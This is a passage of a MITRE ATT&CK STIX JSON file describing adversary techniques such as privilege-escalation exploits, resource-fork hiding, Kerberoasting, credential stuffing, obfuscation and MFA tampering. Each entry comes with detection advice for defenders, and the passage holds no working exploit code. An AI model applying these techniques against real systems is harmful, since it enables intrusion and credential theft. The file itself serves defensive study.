["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-07T17:13:54.168Z", "name": "Exploitation for Privilege Escalation", "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security", "Idan Revivo, @idanr86, Team Nautilus Aqua Security", "David Tayouri"], "x_mitre_deprecated": false, "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Containers"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Driver: Driver Load", "Process: Process Creation"], "x_mitre_effective_permissions": ["User"], "x_mitre_permissions_required": ["User"], "type": "attack-pattern", "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "created": "2017-05-31T21:30:55.066Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1068", "external_id": "T1068"}, {"source_name": "ESET InvisiMole June 2020", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"}, {"source_name": "Microsoft Driver Block Rules", "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"}, {"source_name": "Unit42 AcidBox June 2020", "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jaron Bradley @jbradley89", "Ivan Sinyakov"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", "created": "2021-10-12T20:02:31.866Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.009", "url": "https://attack.mitre.org/techniques/T1564/009"}, {"source_name": "tau bundlore erika noerenberg 2020", "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html", "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021."}, {"source_name": "Resource and Data Forks", "url": "https://flylib.com/books/en/4.395.1.192/1/", "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021."}, {"source_name": "ELC Extended Attributes", "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/", "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021."}, {"source_name": "sentinellabs resource named fork 2020", "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/", "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021."}, {"source_name": "macOS Hierarchical File System Overview", "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553", "description": "Tenon. (n.d.). Retrieved October 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)", "modified": "2022-05-05T05:10:23.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Resource Forking", "x_mitre_detection": "Identify files with the <code>com.apple.ResourceFork</code> extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Metadata", "Process: Process Creation", "Command: Command Execution", "File: File Creation"], "x_mitre_defense_bypassed": ["Notarization", "Gatekeeper"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T20:39:15.680Z", "name": "Account Access Removal", "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the <code>passwd</code> utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Hubert Mank"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\n\n* Event ID 4723 - An attempt was made to change an account's password\n* Event ID 4724 - An attempt was made to reset an account's password\n* Event ID 4726 - A user account was deleted\n* Event ID 4740 - A user account was locked out\n\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "SaaS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Active Directory: Active Directory Object Modification", "User Account: User Account Modification", "User Account: User Account Deletion"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "created": "2019-10-09T18:48:31.906Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1531", "external_id": "T1531"}, {"source_name": "CarbonBlack LockerGoga 2019", "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"}, {"source_name": "Unit42 LockerGoga 2019", "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-07T14:28:02.910Z", "name": "Credential Stuffing", "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_contributors": ["Diogo Fernandes", "Anastasios Pingios"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace", "Containers", "Network"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Application Log: Application Log Content", "User Account: User Account Authentication"], "type": "attack-pattern", "id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "created": "2020-02-11T18:39:59.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1110/004", "external_id": "T1110.004"}, {"source_name": "US-CERT TA18-068A 2018", "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1208", "url": "https://attack.mitre.org/techniques/T1208"}, {"url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", "source_name": "Microsoft Detecting Kerberoasting Feb 2018"}, {"url": "https://msdn.microsoft.com/library/ms677949.aspx", "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", "source_name": "Microsoft SPN"}, {"url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx", "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", "source_name": "Microsoft SetSPN"}, {"description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", "source_name": "SANS Attacking Kerberos Nov 2014", "url": "https://redsiege.com/kerberoast-slides"}, {"url": "https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/", "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.", "source_name": "Harmj0y Kerberoast Nov 2016"}, {"url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1", "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", "source_name": "Empire InvokeKerberoast Oct 2016"}, {"url": "https://adsecurity.org/?p=2293", "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", "source_name": "AdSecurity Cracking Kerberos Dec 2015"}], "modified": "2020-10-20T19:30:10.297Z", "name": "Kerberoasting", "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and  Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_system_requirements": ["Valid domain account or the ability to sniff traffic within a domain."], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-16T12:27:18.945Z", "name": "Obfuscated Files or Information", "description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Red Canary", "Christiaan Beek, @ChristiaanBeek"], "x_mitre_deprecated": false, "x_mitre_detection": "Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). \n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) \n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. \n\nThe first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.6", "x_mitre_data_sources": ["WMI: WMI Creation", "Script: Script Execution", "File: File Creation", "Module: Module Load", "Command: Command Execution", "File: File Metadata", "Process: OS API Execution", "Windows Registry: Windows Registry Key Creation", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Host Forensic Analysis", "Signature-based Detection", "Host Intrusion Prevention Systems", "Application Control", "Log Analysis"], "type": "attack-pattern", "id": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "created": "2017-05-31T21:30:32.662Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027", "external_id": "T1027"}, {"source_name": "Volexity PowerDuke November 2016", "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}, {"source_name": "GitHub Revoke-Obfuscation", "description": "Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.", "url": "https://github.com/danielbohannon/Revoke-Obfuscation"}, {"source_name": "FireEye Obfuscation June 2017", "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"}, {"source_name": "FireEye Revoke-Obfuscation July 2017", "description": "Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.", "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf"}, {"source_name": "GitHub Office-Crackros Aug 2016", "description": "Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.", "url": "https://github.com/itsreallynick/office-crackros"}, {"source_name": "Linux/Cdorked.A We Live Security Analysis", "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.", "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"}, {"source_name": "Carbon Black Obfuscation Sept 2016", "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.", "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"}, {"source_name": "PaloAlto EncodedCommand March 2017", "description": "White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T00:20:21.488Z", "name": "Multi-Factor Authentication", "description": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Liran Ravich, CardinalOps", "Muhammad Moiz Arshad, @5T34L7H"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Google Workspace", "Linux", "macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Application Log: Application Log Content", "Active Directory: Active Directory Object Modification", "User Account: User Account Authentication", "User Account: User Account Modification"], "x_mitre_defense_bypassed": ["Multi-Factor Authentication"], "type": "attack-pattern", "id": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc", "created": "2022-05-31T19:31:38.431Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1556/006", "external_id": "T1556.006"}, {"source_name": "Russians Exploit Default MFA Protocol - CISA March 2022", "description": "Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved May 31, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"}, {"source_name": "Mandiant APT42", "description": "Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.", "url": "https://www.mandiant.com/media/17826"}, {"source_name": "Azure AD Conditional Access Exclusions", "description": "Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.", "url": "https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-05-31T12:34:03.420Z", "name": "Remote Email Collection", "description": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "Windows", "Google Workspace"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Application Log: Application Log Content", "Logon Session: Logon Session Creation", "Command: Command Execution", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "created": "2020-02-19T18:52:24.547Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1114/002", "external_id": "T1114.002"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Wes Hurd"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", "type": "attack-pattern", "created": "2021-06-03T18:44:29.770Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1505.004", "url": "https://attack.mitre.org/techniques/T1505/004"}, {"source_name": "Microsoft ISAPI Extension Overview 2017", "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)", "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021."}, {"source_name": "Microsoft ISAPI Filter Overview 2017", "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)", "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021."}, {"source_name": "IIS Backdoor 2011", "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html", "description": "Julien. 